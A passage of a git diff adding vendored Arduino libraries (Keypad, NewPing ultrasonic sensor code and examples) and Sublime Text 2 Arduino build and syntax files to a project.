); + } +} diff --git a/Projects/libraries/Installed_libs/Keypad/examples/MultiKey/MultiKey.ino b/Projects/libraries/Installed_libs/Keypad/examples/MultiKey/MultiKey.ino new file mode 100755 index 0000000..850dc1a --- /dev/null +++ b/Projects/libraries/Installed_libs/Keypad/examples/MultiKey/MultiKey.ino @@ -0,0 +1,78 @@ +/* @file MultiKey.ino +|| @version 1.0 +|| @author Mark Stanley +|| @contact mstanley@technologist.com +|| +|| @description +|| | The latest version, 3.0, of the keypad library supports up to 10 +|| | active keys all being pressed at the same time. This sketch is an +|| | example of how you can get multiple key presses from a keypad or +|| | keyboard. +|| # +*/ + +#include + +const byte ROWS = 4; //four rows +const byte COLS = 3; //three columns +char keys[ROWS][COLS] = { +{'1','2','3'}, +{'4','5','6'}, +{'7','8','9'}, +{'*','0','#'} +}; +byte rowPins[ROWS] = {5, 4, 3, 2}; //connect to the row pinouts of the kpd +byte colPins[COLS] = {8, 7, 6}; //connect to the column pinouts of the kpd + +Keypad kpd = Keypad( makeKeymap(keys), rowPins, colPins, ROWS, COLS ); + +unsigned long loopCount; +unsigned long startTime; +String msg; + + +void setup() { + Serial.begin(9600); + loopCount = 0; + startTime = millis(); + msg = ""; +} + + +void loop() { + loopCount++; + if ( (millis()-startTime)>5000 ) { + Serial.print("Average loops per second = "); + Serial.println(loopCount/5); + startTime = millis(); + loopCount = 0; + } + + // Fills kpd.key[ ] array with up-to 10 active keys. + // Returns true if there are ANY active keys. + if (kpd.getKeys()) + { + for (int i=0; i + + +const byte ROWS = 4; //four rows +const byte COLS = 3; //three columns +char keys[ROWS][COLS] = { + {'1','2','3'}, + {'4','5','6'}, + {'7','8','9'}, + {'*','0','#'} +}; +byte rowPins[ROWS] = {5, 4, 3, 2}; //connect to the row pinouts of the keypad +byte colPins[COLS] = {8, 7, 6}; //connect to the column pinouts of the keypad + +Keypad kpd = Keypad( makeKeymap(keys), rowPins, colPins, ROWS, COLS ); + +unsigned long loopCount = 0; +unsigned long timer_t = 0; + +void setup(){ + Serial.begin(9600); + + // Try playing with different debounceTime settings to see how it affects + // the number of times per second your loop will run. The library prevents + // setting it to anything below 1 millisecond. + kpd.setDebounceTime(10); // setDebounceTime(mS) +} + +void loop(){ + char key = kpd.getKey(); + + // Report the number of times through the loop in 1 second. This will give + // you a relative idea of just how much the debounceTime has changed the + // speed of your code. If you set a high debounceTime your loopCount will + // look good but your keypresses will start to feel sluggish. + if ((millis() - timer_t) > 1000) { + Serial.print("Your loop code ran "); + Serial.print(loopCount); + Serial.println(" times over the last second"); + loopCount = 0; + timer_t = millis(); + } + loopCount++; + if(key) + Serial.println(key); +} diff --git a/Projects/libraries/Installed_libs/Keypad/keywords.txt b/Projects/libraries/Installed_libs/Keypad/keywords.txt new file mode 100755 index 0000000..e400940 --- /dev/null +++ b/Projects/libraries/Installed_libs/Keypad/keywords.txt @@ -0,0 +1,38 @@ +# Keypad Library data types +KeyState KEYWORD1 +Keypad KEYWORD1 +KeypadEvent KEYWORD1 + +# Keypad Library constants +NO_KEY LITERAL1 +IDLE LITERAL1 +PRESSED LITERAL1 +HOLD LITERAL1 +RELEASED LITERAL1 + +# Keypad Library methods & functions +addEventListener KEYWORD2 +bitMap KEYWORD2 +findKeyInList KEYWORD2 +getKey KEYWORD2 +getKeys KEYWORD2 +getState KEYWORD2 +holdTimer KEYWORD2 +isPressed KEYWORD2 +keyStateChanged KEYWORD2 +numKeys KEYWORD2 +pin_mode KEYWORD2 +pin_write KEYWORD2 +pin_read KEYWORD2 +setDebounceTime KEYWORD2 +setHoldTime KEYWORD2 +waitForKey KEYWORD2 + +# this is a macro that converts 2d arrays to pointers +makeKeymap KEYWORD2 + +# List of objects created in the example sketches. +kpd KEYWORD3 +keypad KEYWORD3 +kbrd KEYWORD3 +keyboard KEYWORD3 diff --git a/Projects/libraries/Installed_libs/Keypad/utility/Key.cpp b/Projects/libraries/Installed_libs/Keypad/utility/Key.cpp new file mode 100755 index 0000000..4c9718d --- /dev/null +++ b/Projects/libraries/Installed_libs/Keypad/utility/Key.cpp @@ -0,0 +1,61 @@ +/* +|| @file Key.cpp +|| @version 1.0 +|| @author Mark Stanley +|| @contact mstanley@technologist.com +|| +|| @description +|| | Key class provides an abstract definition of a key or button +|| | and was initially designed to be used in conjunction with a +|| | state-machine. +|| # +|| +|| @license +|| | This library is free software; you can redistribute it and/or +|| | modify it under the terms of the GNU Lesser General Public +|| | License as published by the Free Software Foundation; version +|| | 2.1 of the License. +|| | +|| | This library is distributed in the hope that it will be useful, +|| | but WITHOUT ANY WARRANTY; without even the implied warranty of +|| | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +|| | Lesser General Public License for more details. +|| | +|| | You should have received a copy of the GNU Lesser General Public +|| | License along with this library; if not, write to the Free Software +|| | Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +|| # +|| +*/ +#include + + +// default constructor +Key::Key() { + kchar = NO_KEY; + kstate = IDLE; + stateChanged = false; +} + +// constructor +Key::Key(char userKeyChar) { + kchar = userKeyChar; + kcode = -1; + kstate = IDLE; + stateChanged = false; +} + + +void Key::key_update (char userKeyChar, KeyState userState, boolean userStatus) { + kchar = userKeyChar; + kstate = userState; + stateChanged = userStatus; +} + + + +/* +|| @changelog +|| | 1.0 2012-06-04 - Mark Stanley : Initial Release +|| # +*/ diff --git a/Projects/libraries/Installed_libs/Keypad/utility/Key.h b/Projects/libraries/Installed_libs/Keypad/utility/Key.h new file mode 100755 index 0000000..140f8da --- /dev/null +++ b/Projects/libraries/Installed_libs/Keypad/utility/Key.h @@ -0,0 +1,73 @@ +/* +|| +|| @file Key.h +|| @version 1.0 +|| @author Mark Stanley +|| @contact mstanley@technologist.com +|| +|| @description +|| | Key class provides an abstract definition of a key or button +|| | and was initially designed to be used in conjunction with a +|| | state-machine. +|| # +|| +|| @license +|| | This library is free software; you can redistribute it and/or +|| | modify it under the terms of the GNU Lesser General Public +|| | License as published by the Free Software Foundation; version +|| | 2.1 of the License. +|| | +|| | This library is distributed in the hope that it will be useful, +|| | but WITHOUT ANY WARRANTY; without even the implied warranty of +|| | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +|| | Lesser General Public License for more details. +|| | +|| | You should have received a copy of the GNU Lesser General Public +|| | License along with this library; if not, write to the Free Software +|| | Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +|| # +|| +*/ + +#ifndef KEY_H +#define KEY_H + +// Arduino versioning. +#if defined(ARDUINO) && ARDUINO >= 100 +#include "Arduino.h" // for digitalRead, digitalWrite, etc +#else +#include "WProgram.h" +#endif + +#define OPEN LOW +#define CLOSED HIGH + +typedef unsigned int uint; +typedef enum{ IDLE, PRESSED, HOLD, RELEASED } KeyState; + +const char NO_KEY = '\0'; + +class Key { +public: + // members + char kchar; + int kcode; + KeyState kstate; + boolean stateChanged; + + // methods + Key(); + Key(char userKeyChar); + void key_update(char userKeyChar, KeyState userState, boolean userStatus); + +private: + +}; + +#endif + +/* +|| @changelog +|| | 1.0 2012-06-04 - Mark Stanley : Initial Release +|| # +*/ diff --git a/Projects/libraries/Installed_libs/NewPing/NewPing.cpp b/Projects/libraries/Installed_libs/NewPing/NewPing.cpp new file mode 100755 index 0000000..edf0135 --- /dev/null +++ b/Projects/libraries/Installed_libs/NewPing/NewPing.cpp @@ -0,0 +1,231 @@ +// --------------------------------------------------------------------------- +// Created by Tim Eckel - teckel@leethost.com +// Copyright 2012 License: GNU GPL v3 http://www.gnu.org/licenses/gpl-3.0.html +// +// See "NewPing.h" for purpose, syntax, version history, links, and more. +// --------------------------------------------------------------------------- + +#include "NewPing.h" + + +// --------------------------------------------------------------------------- +// NewPing constructor +// --------------------------------------------------------------------------- + +NewPing::NewPing(uint8_t trigger_pin, uint8_t echo_pin, int max_cm_distance) { + _triggerBit = digitalPinToBitMask(trigger_pin); // Get the port register bitmask for the trigger pin. + _echoBit = digitalPinToBitMask(echo_pin); // Get the port register bitmask for the echo pin. + + _triggerOutput = portOutputRegister(digitalPinToPort(trigger_pin)); // Get the output port register for the trigger pin. + _echoInput = portInputRegister(digitalPinToPort(echo_pin)); // Get the input port register for the echo pin. + + _triggerMode = (uint8_t *) portModeRegister(digitalPinToPort(trigger_pin)); // Get the port mode register for the trigger pin. + + _maxEchoTime = min(max_cm_distance, MAX_SENSOR_DISTANCE) * US_ROUNDTRIP_CM + (US_ROUNDTRIP_CM / 2); // Calculate the maximum distance in uS. + +#if DISABLE_ONE_PIN == true + *_triggerMode |= _triggerBit; // Set trigger pin to output. +#endif +} + + +// --------------------------------------------------------------------------- +// Standard ping methods +// --------------------------------------------------------------------------- + +unsigned int NewPing::ping() { + if (!ping_trigger()) return NO_ECHO; // Trigger a ping, if it returns false, return NO_ECHO to the calling function. + while (*_echoInput & _echoBit) // Wait for the ping echo. + if (micros() > _max_time) return NO_ECHO; // Stop the loop and return NO_ECHO (false) if we're beyond the set maximum distance. + return (micros() - (_max_time - _maxEchoTime) - 5); // Calculate ping time, 5uS of overhead. +} + + +unsigned int NewPing::ping_in() { + unsigned int echoTime = NewPing::ping(); // Calls the ping method and returns with the ping echo distance in uS. + return NewPingConvert(echoTime, US_ROUNDTRIP_IN); // Convert uS to inches. +} + + +unsigned int NewPing::ping_cm() { + unsigned int echoTime = NewPing::ping(); // Calls the ping method and returns with the ping echo distance in uS. + return NewPingConvert(echoTime, US_ROUNDTRIP_CM); // Convert uS to centimeters. +} + + +unsigned int NewPing::ping_median(uint8_t it) { + unsigned int uS[it], last; + uint8_t j, i = 0; + uS[0] = NO_ECHO; + while (i < it) { + last = ping(); // Send ping. + if (last == NO_ECHO) { // Ping out of range. + it--; // Skip, don't include as part of median. + last = _maxEchoTime; // Adjust "last" variable so delay is correct length. + } else { // Ping in range, include as part of median. + if (i > 0) { // Don't start sort till second ping. + for (j = i; j > 0 && uS[j - 1] < last; j--) // Insertion sort loop. + uS[j] = uS[j - 1]; // Shift ping array to correct position for sort insertion. + } else j = 0; // First ping is starting point for sort. + uS[j] = last; // Add last ping to array in sorted position. + i++; // Move to next ping. + } + if (i < it) delay(PING_MEDIAN_DELAY - (last >> 10)); // Millisecond delay between pings. + } + return (uS[it >> 1]); // Return the ping distance median. +} + + +// --------------------------------------------------------------------------- +// Standard ping method support functions (not called directly) +// --------------------------------------------------------------------------- + +boolean NewPing::ping_trigger() { +#if DISABLE_ONE_PIN != true + *_triggerMode |= _triggerBit; // Set trigger pin to output. +#endif + *_triggerOutput &= ~_triggerBit; // Set the trigger pin low, should already be low, but this will make sure it is. + delayMicroseconds(4); // Wait for pin to go low, testing shows it needs 4uS to work every time. + *_triggerOutput |= _triggerBit; // Set trigger pin high, this tells the sensor to send out a ping. + delayMicroseconds(10); // Wait long enough for the sensor to realize the trigger pin is high. Sensor specs say to wait 10uS. + *_triggerOutput &= ~_triggerBit; // Set trigger pin back to low. +#if DISABLE_ONE_PIN != true + *_triggerMode &= ~_triggerBit; // Set trigger pin to input (when using one Arduino pin this is technically setting the echo pin to input as both are tied to the same Arduino pin). +#endif + + _max_time = micros() + MAX_SENSOR_DELAY; // Set a timeout for the ping to trigger. + while (*_echoInput & _echoBit && micros() <= _max_time) {} // Wait for echo pin to clear. + while (!(*_echoInput & _echoBit)) // Wait for ping to start. + if (micros() > _max_time) return false; // Something went wrong, abort. + + _max_time = micros() + _maxEchoTime; // Ping started, set the timeout. + return true; // Ping started successfully. +} + + +// --------------------------------------------------------------------------- +// Timer interrupt ping methods (won't work with ATmega8 and ATmega128) +// --------------------------------------------------------------------------- + +void NewPing::ping_timer(void (*userFunc)(void)) { + if (!ping_trigger()) return; // Trigger a ping, if it returns false, return without starting the echo timer. + timer_us(ECHO_TIMER_FREQ, userFunc); // Set ping echo timer check every ECHO_TIMER_FREQ uS. +} + + +boolean NewPing::check_timer() { + if (micros() > _max_time) { // Outside the timeout limit. + timer_stop(); // Disable timer interrupt + return false; // Cancel ping timer. + } + + if (!(*_echoInput & _echoBit)) { // Ping echo received. + timer_stop(); // Disable timer interrupt + ping_result = (micros() - (_max_time - _maxEchoTime) - 13); // Calculate ping time, 13uS of overhead. + return true; // Return ping echo true. + } + + return false; // Return false because there's no ping echo yet. +} + + +// --------------------------------------------------------------------------- +// Timer2/Timer4 interrupt methods (can be used for non-ultrasonic needs) +// --------------------------------------------------------------------------- + +// Variables used for timer functions +void (*intFunc)(); +void (*intFunc2)(); +unsigned long _ms_cnt_reset; +volatile unsigned long _ms_cnt; + + +void NewPing::timer_us(unsigned int frequency, void (*userFunc)(void)) { + timer_setup(); // Configure the timer interrupt. + intFunc = userFunc; // User's function to call when there's a timer event. + +#if defined (__AVR_ATmega32U4__) // Use Timer4 for ATmega32U4 (Teensy/Leonardo). + OCR4C = min((frequency>>2) - 1, 255); // Every count is 4uS, so divide by 4 (bitwise shift right 2) subtract one, then make sure we don't go over 255 limit. + TIMSK4 = (1<>2) - 1, 255); // Every count is 4uS, so divide by 4 (bitwise shift right 2) subtract one, then make sure we don't go over 255 limit. + TIMSK2 |= (1<= 100 + #include +#else + #include + #include +#endif + +#include +#include + +// Shoudln't need to changed these values unless you have a specific need to do so. +#define MAX_SENSOR_DISTANCE 500 // Maximum sensor distance can be as high as 500cm, no reason to wait for ping longer than sound takes to travel this distance and back. +#define US_ROUNDTRIP_IN 146 // Microseconds (uS) it takes sound to travel round-trip 1 inch (2 inches total), uses integer to save compiled code space. +#define US_ROUNDTRIP_CM 57 // Microseconds (uS) it takes sound to travel round-trip 1cm (2cm total), uses integer to save compiled code space. +#define DISABLE_ONE_PIN false // Set to "true" to save up to 26 bytes of compiled code space if you're not using one pin sensor connections. + +// Probably shoudln't change these values unless you really know what you're doing. +#define NO_ECHO 0 // Value returned if there's no ping echo within the specified MAX_SENSOR_DISTANCE or max_cm_distance. +#define MAX_SENSOR_DELAY 18000 // Maximum uS it takes for sensor to start the ping (SRF06 is the highest measured, just under 18ms). +#define ECHO_TIMER_FREQ 24 // Frequency to check for a ping echo (every 24uS is about 0.4cm accuracy). +#define PING_MEDIAN_DELAY 29 // Millisecond delay between pings in the ping_median method. + +// Conversion from uS to distance (round result to nearest cm or inch). +#define NewPingConvert(echoTime, conversionFactor) (max((echoTime + conversionFactor / 2) / conversionFactor, (echoTime ? 1 : 0))) + + +class NewPing { + public: + NewPing(uint8_t trigger_pin, uint8_t echo_pin, int max_cm_distance = MAX_SENSOR_DISTANCE); + unsigned int ping(); + unsigned int ping_in(); + unsigned int ping_cm(); + unsigned int ping_median(uint8_t it = 5); + unsigned int convert_in(unsigned int echoTime); + unsigned int convert_cm(unsigned int echoTime); + void ping_timer(void (*userFunc)(void)); + boolean check_timer(); + unsigned long ping_result; + static void timer_us(unsigned int frequency, void (*userFunc)(void)); + static void timer_ms(unsigned long frequency, void (*userFunc)(void)); + static void timer_stop(); + private: + boolean ping_trigger(); + boolean ping_wait_timer(); + uint8_t _triggerBit; + uint8_t _echoBit; + volatile uint8_t *_triggerOutput; + volatile uint8_t *_triggerMode; + volatile uint8_t *_echoInput; + unsigned int _maxEchoTime; + unsigned long _max_time; + static void timer_setup(); + static void timer_ms_cntdwn(); +}; + + +#endif \ No newline at end of file diff --git a/Projects/libraries/Installed_libs/NewPing/examples/NewPing15Sensors/NewPing15Sensors.pde b/Projects/libraries/Installed_libs/NewPing/examples/NewPing15Sensors/NewPing15Sensors.pde new file mode 100755 index 0000000..9af1f6c --- /dev/null +++ b/Projects/libraries/Installed_libs/NewPing/examples/NewPing15Sensors/NewPing15Sensors.pde @@ -0,0 +1,74 @@ +// --------------------------------------------------------------------------- +// This example code was used to successfully communicate with 15 ultrasonic sensors. You can adjust +// the number of sensors in your project by changing SONAR_NUM and the number of NewPing objects in the +// "sonar" array. You also need to change the pins for each sensor for the NewPing objects. Each sensor +// is pinged at 33ms intervals. So, one cycle of all sensors takes 495ms (33 * 15 = 495ms). The results +// are sent to the "oneSensorCycle" function which currently just displays the distance data. Your project +// would normally process the sensor results in this function (for example, decide if a robot needs to +// turn and call the turn function). Keep in mind this example is event-driven. Your complete sketch needs +// to be written so there's no "delay" commands and the loop() cycles at faster than a 33ms rate. If other +// processes take longer than 33ms, you'll need to increase PING_INTERVAL so it doesn't get behind. +// --------------------------------------------------------------------------- +#include + +#define SONAR_NUM 15 // Number or sensors. +#define MAX_DISTANCE 200 // Maximum distance (in cm) to ping. +#define PING_INTERVAL 33 // Milliseconds between sensor pings (29ms is about the min to avoid cross-sensor echo). + +unsigned long pingTimer[SONAR_NUM]; // Holds the times when the next ping should happen for each sensor. +unsigned int cm[SONAR_NUM]; // Where the ping distances are stored. +uint8_t currentSensor = 0; // Keeps track of which sensor is active. + +NewPing sonar[SONAR_NUM] = { // Sensor object array. + NewPing(41, 42, MAX_DISTANCE), // Each sensor's trigger pin, echo pin, and max distance to ping. + NewPing(43, 44, MAX_DISTANCE), + NewPing(45, 20, MAX_DISTANCE), + NewPing(21, 22, MAX_DISTANCE), + NewPing(23, 24, MAX_DISTANCE), + NewPing(25, 26, MAX_DISTANCE), + NewPing(27, 28, MAX_DISTANCE), + NewPing(29, 30, MAX_DISTANCE), + NewPing(31, 32, MAX_DISTANCE), + NewPing(34, 33, MAX_DISTANCE), + NewPing(35, 36, MAX_DISTANCE), + NewPing(37, 38, MAX_DISTANCE), + NewPing(39, 40, MAX_DISTANCE), + NewPing(50, 51, MAX_DISTANCE), + NewPing(52, 53, MAX_DISTANCE) +}; + +void setup() { + Serial.begin(115200); + pingTimer[0] = millis() + 75; // First ping starts at 75ms, gives time for the Arduino to chill before starting. + for (uint8_t i = 1; i < SONAR_NUM; i++) // Set the starting time for each sensor. + pingTimer[i] = pingTimer[i - 1] + PING_INTERVAL; +} + +void loop() { + for (uint8_t i = 0; i < SONAR_NUM; i++) { // Loop through all the sensors. + if (millis() >= pingTimer[i]) { // Is it this sensor's time to ping? + pingTimer[i] += PING_INTERVAL * SONAR_NUM; // Set next time this sensor will be pinged. + if (i == 0 && currentSensor == SONAR_NUM - 1) oneSensorCycle(); // Sensor ping cycle complete, do something with the results. + sonar[currentSensor].timer_stop(); // Make sure previous timer is canceled before starting a new ping (insurance). + currentSensor = i; // Sensor being accessed. + cm[currentSensor] = 0; // Make distance zero in case there's no ping echo for this sensor. + sonar[currentSensor].ping_timer(echoCheck); // Do the ping (processing continues, interrupt will call echoCheck to look for echo). + } + } + // The rest of your code would go here. +} + +void echoCheck() { // If ping received, set the sensor distance to array. + if (sonar[currentSensor].check_timer()) + cm[currentSensor] = sonar[currentSensor].ping_result / US_ROUNDTRIP_CM; +} + +void oneSensorCycle() { // Sensor ping cycle complete, do something with the results. + for (uint8_t i = 0; i < SONAR_NUM; i++) { + Serial.print(i); + Serial.print("="); + Serial.print(cm[i]); + Serial.print("cm "); + } + Serial.println(); +} \ No newline at end of file diff --git a/Projects/libraries/Installed_libs/NewPing/examples/NewPingEventTimer/NewPingEventTimer.pde b/Projects/libraries/Installed_libs/NewPing/examples/NewPingEventTimer/NewPingEventTimer.pde new file mode 100755 index 0000000..a469c37 --- /dev/null +++ b/Projects/libraries/Installed_libs/NewPing/examples/NewPingEventTimer/NewPingEventTimer.pde @@ -0,0 +1,46 @@ +// --------------------------------------------------------------------------- +// This example shows how to use NewPing's ping_timer method which uses the Timer2 interrupt to get the +// ping time. The advantage of using this method over the standard ping method is that it permits a more +// event-driven sketch which allows you to appear to do two things at once. An example would be to ping +// an ultrasonic sensor for a possible collision while at the same time navigating. This allows a +// properly developed sketch to multitask. Be aware that because the ping_timer method uses Timer2, +// other features or libraries that also use Timer2 would be effected. For example, the PWM function on +// pins 3 & 11 on Arduino Uno (pins 9 and 11 on Arduino Mega) and the Tone library. Note, only the PWM +// functionality of the pins is lost (as they use Timer2 to do PWM), the pins are still available to use. +// NOTE: For Teensy/Leonardo (ATmega32U4) the library uses Timer4 instead of Timer2. +// --------------------------------------------------------------------------- +#include + +#define TRIGGER_PIN 12 // Arduino pin tied to trigger pin on ping sensor. +#define ECHO_PIN 11 // Arduino pin tied to echo pin on ping sensor. +#define MAX_DISTANCE 200 // Maximum distance we want to ping for (in centimeters). Maximum sensor distance is rated at 400-500cm. + +NewPing sonar(TRIGGER_PIN, ECHO_PIN, MAX_DISTANCE); // NewPing setup of pins and maximum distance. + +unsigned int pingSpeed = 50; // How frequently are we going to send out a ping (in milliseconds). 50ms would be 20 times a second. +unsigned long pingTimer; // Holds the next ping time. + +void setup() { + Serial.begin(115200); // Open serial monitor at 115200 baud to see ping results. + pingTimer = millis(); // Start now. +} + +void loop() { + // Notice how there's no delays in this sketch to allow you to do other processing in-line while doing distance pings. + if (millis() >= pingTimer) { // pingSpeed milliseconds since last ping, do another ping. + pingTimer += pingSpeed; // Set the next ping time. + sonar.ping_timer(echoCheck); // Send out the ping, calls "echoCheck" function every 24uS where you can check the ping status. + } + // Do other stuff here, really. Think of it as multi-tasking. +} + +void echoCheck() { // Timer2 interrupt calls this function every 24uS where you can check the ping status. + // Don't do anything here! + if (sonar.check_timer()) { // This is how you check to see if the ping was received. + // Here's where you can add code. + Serial.print("Ping: "); + Serial.print(sonar.ping_result / US_ROUNDTRIP_CM); // Ping returned, uS result in ping_result, convert to cm with US_ROUNDTRIP_CM. + Serial.println("cm"); + } + // Don't do anything here! +} \ No newline at end of file diff --git a/Projects/libraries/Installed_libs/NewPing/examples/NewPingExample/NewPingExample.ino b/Projects/libraries/Installed_libs/NewPing/examples/NewPingExample/NewPingExample.ino new file mode 100755 index 0000000..42b2739 --- /dev/null +++ b/Projects/libraries/Installed_libs/NewPing/examples/NewPingExample/NewPingExample.ino @@ -0,0 +1,23 @@ +// --------------------------------------------------------------------------- +// Example NewPing library sketch that does a ping about 20 times per second. +// --------------------------------------------------------------------------- + +#include + +#define TRIGGER_PIN 12 // Arduino pin tied to trigger pin on the ultrasonic sensor. +#define ECHO_PIN 11 // Arduino pin tied to echo pin on the ultrasonic sensor. +#define MAX_DISTANCE 200 // Maximum distance we want to ping for (in centimeters). Maximum sensor distance is rated at 400-500cm. + +NewPing sonar(TRIGGER_PIN, ECHO_PIN, MAX_DISTANCE); // NewPing setup of pins and maximum distance. + +void setup() { + Serial.begin(115200); // Open serial monitor at 115200 baud to see ping results. +} + +void loop() { + delay(50); // Wait 50ms between pings (about 20 pings/sec). 29ms should be the shortest delay between pings. + unsigned int uS = sonar.ping(); // Send ping, get ping time in microseconds (uS). + Serial.print("Ping: "); + Serial.print(uS / US_ROUNDTRIP_CM); // Convert ping time to distance in cm and print result (0 = outside set distance range) + Serial.println("cm"); +} diff --git a/Projects/libraries/Installed_libs/NewPing/examples/TimerExample/TimerExample.pde b/Projects/libraries/Installed_libs/NewPing/examples/TimerExample/TimerExample.pde new file mode 100755 index 0000000..ea66039 --- /dev/null +++ b/Projects/libraries/Installed_libs/NewPing/examples/TimerExample/TimerExample.pde @@ -0,0 +1,25 @@ +// --------------------------------------------------------------------------- +// While the NewPing library's primary goal is to interface with ultrasonic sensors, interfacing with +// the Timer2 interrupt was a result of creating an interrupt-based ping method. Since these Timer2 +// interrupt methods were built, the library may as well provide the functionality to use these methods +// in your sketches. This shows how simple it is (no ultrasonic sensor required). Keep in mind that +// these methods use Timer2, as does NewPing's ping_timer method for using ultrasonic sensors. You +// can't use ping_timer at the same time you're using timer_ms or timer_us as all use the same timer. +// --------------------------------------------------------------------------- + +#include + +#define LED_PIN 13 // Pin with LED attached. + +void setup() { + pinMode(LED_PIN, OUTPUT); + NewPing::timer_ms(500, toggleLED); // Create a Timer2 interrupt that calls toggleLED in your sketch once every 500 milliseconds. +} + +void loop() { + // Do anything here, the Timer2 interrupt will take care of the flashing LED without your intervention. +} + +void toggleLED() { + digitalWrite(LED_PIN, !digitalRead(LED_PIN)); // Toggle the LED. +} \ No newline at end of file diff --git a/Projects/libraries/Installed_libs/NewPing/keywords.txt b/Projects/libraries/Installed_libs/NewPing/keywords.txt new file mode 100755 index 0000000..9ef581a --- /dev/null +++ b/Projects/libraries/Installed_libs/NewPing/keywords.txt @@ -0,0 +1,29 @@ +################################### +# Syntax Coloring Map For NewPing +################################### + +################################### +# Datatypes (KEYWORD1) +################################### + +NewPing KEYWORD1 + +################################### +# Methods and Functions (KEYWORD2) +################################### + +ping KEYWORD2 +ping_in KEYWORD2 +ping_cm KEYWORD2 +ping_median KEYWORD2 +ping_timer KEYWORD2 +check_timer KEYWORD2 +timer_us KEYWORD2 +timer_ms KEYWORD2 +timer_stop KEYWORD2 +convert_in KEYWORD2 +convert_cm KEYWORD2 + +################################### +# Constants (LITERAL1) +################################### diff --git a/Projects/libraries/Installed_libs/ST2_Arduino/.gitignore b/Projects/libraries/Installed_libs/ST2_Arduino/.gitignore new file mode 100755 index 0000000..739878c --- /dev/null +++ b/Projects/libraries/Installed_libs/ST2_Arduino/.gitignore @@ -0,0 +1,5 @@ +*.pyc +*.cache +*.sublime-workspace +*.sublime-project +.build diff --git a/Projects/libraries/Installed_libs/ST2_Arduino/Arduino-Clean.sublime-build b/Projects/libraries/Installed_libs/ST2_Arduino/Arduino-Clean.sublime-build new file mode 100755 index 0000000..a94a1f8 --- /dev/null +++ b/Projects/libraries/Installed_libs/ST2_Arduino/Arduino-Clean.sublime-build @@ -0,0 +1,6 @@ +{ + "cmd": ["ino", "clean"], + "selector": "source.c++.arduino", + "working_dir": "$file_path/..", + "path": "/opt/local/bin:/opt/local/sbin:/usr/local/bin:/usr/local/sbin:/usr/bin:/bin:/usr/sbin:/sbin:/usr/X11/bin" +} diff --git a/Projects/libraries/Installed_libs/ST2_Arduino/Arduino-Compile.sublime-build b/Projects/libraries/Installed_libs/ST2_Arduino/Arduino-Compile.sublime-build new file mode 100755 index 0000000..27434d8 --- /dev/null +++ b/Projects/libraries/Installed_libs/ST2_Arduino/Arduino-Compile.sublime-build @@ -0,0 +1,6 @@ +{ + "cmd": ["ino", "build"], + "selector": "source.c++.arduino", + "working_dir": "$file_path/..", + "path": "/opt/local/bin:/opt/local/sbin:/usr/local/bin:/usr/local/sbin:/usr/bin:/bin:/usr/sbin:/sbin:/usr/X11/bin" +} diff --git a/Projects/libraries/Installed_libs/ST2_Arduino/Arduino-Upload-Compile.sublime-build b/Projects/libraries/Installed_libs/ST2_Arduino/Arduino-Upload-Compile.sublime-build new file mode 100755 index 0000000..5e7179c --- /dev/null +++ b/Projects/libraries/Installed_libs/ST2_Arduino/Arduino-Upload-Compile.sublime-build @@ -0,0 +1,10 @@ +{ + "cmd": ["sh", "-c", "ino build && ino upload"], + "windows": { + "shell": true, + "cmd": ["ino", "build", "&;", "ino", "upload"] + }, + "selector": "source.c++.arduino", + "working_dir": "$file_path/..", + "path": "/opt/local/bin:/opt/local/sbin:/usr/local/bin:/usr/local/sbin:/usr/bin:/bin:/usr/sbin:/sbin:/usr/X11/bin" +} diff --git a/Projects/libraries/Installed_libs/ST2_Arduino/Arduino-Upload.sublime-build b/Projects/libraries/Installed_libs/ST2_Arduino/Arduino-Upload.sublime-build new file mode 100755 index 0000000..f6c9a85 --- /dev/null +++ b/Projects/libraries/Installed_libs/ST2_Arduino/Arduino-Upload.sublime-build @@ -0,0 +1,6 @@ +{ + "cmd": ["ino", "upload"], + "selector": "source.c++.arduino", + "working_dir": "$file_path/..", + "path": "/opt/local/bin:/opt/local/sbin:/usr/local/bin:/usr/local/sbin:/usr/bin:/bin:/usr/sbin:/sbin:/usr/X11/bin" +} diff --git a/Projects/libraries/Installed_libs/ST2_Arduino/Arduino.sublime-completions b/Projects/libraries/Installed_libs/ST2_Arduino/Arduino.sublime-completions new file mode 100755 index 0000000..21d4f1d --- /dev/null +++ b/Projects/libraries/Installed_libs/ST2_Arduino/Arduino.sublime-completions @@ -0,0 +1,128 @@ +{ + "scope": "source.c++.arduino", + "completions": [ + "HIGH", + "LOW", + "INPUT", + "OUTPUT", + "DEC", + "BIN", + "HEX", + "OCT", + "BYTE", + "PI", + "HALF_PI", + "TWO_PI", + "LSBFIRST", + "MSBFIRST", + "CHANGE", + "FALLING", + "RISING", + "DEFAULT", + "EXTERNAL", + "INTERAL", + "boolean", + "break", + "byte", + "case", + "char", + "class", + "continue", + "default", + "do", + "double", + "else", + "false", + "float", + "for", + "if", + "int", + "long", + "new", + "null", + "private", + "protected", + "public", + "return", + "short", + "signed", + "static", + "switch", + "this", + "throw", + "try", + "true", + "unsigned", + "void", + "while", + "word", + "boolean", + "byte", + "char", + "float", + "int", + "long", + "word", + "abs", + "acos", + "asin", + "atan", + "atan2", + "ceil", + "constrain", + "cos", + "degrees", + "exp", + "floor", + "log", + "map", + "max", + "min", + "radians", + "random", + "randomSeed", + "round", + "sin", + "sq", + "sqrt", + "tan", + "bitRead", + "bitWrite", + "bitSet", + "bitClear", + "bit", + "highByte", + "lowByte", + "analogReference", + "analogRead", + "analogWrite", + "attachInterrupt", + "detachInterrupt", + "delay", + "delayMicroseconds", + "digitalWrite", + "digitalRead", + "interrupts", + "millis", + "micros", + "noInterrupts", + "noTone", + "pinMode", + "pulseIn", + "shiftOut", + "tone", + "Serial", + "Serial1", + "Serial2", + "Serial3", + "begin", + "end", + "read", + "print", + "println", + "available", + "flush", + "setup", + "loop" + ] +} diff --git a/Projects/libraries/Installed_libs/ST2_Arduino/Arduino.tmLanguage b/Projects/libraries/Installed_libs/ST2_Arduino/Arduino.tmLanguage new file mode 100755 index 0000000..600c9be --- /dev/null +++ b/Projects/libraries/Installed_libs/ST2_Arduino/Arduino.tmLanguage @@ -0,0 +1,62 @@ + + + + + fileTypes + + pde + ino + + foldingStartMarker + /\*\*|\{\s*$ + foldingStopMarker + \*\*/|^\s*\} + name + Arduino + patterns + + + include + #special_block + + + include + source.c++ + + + match 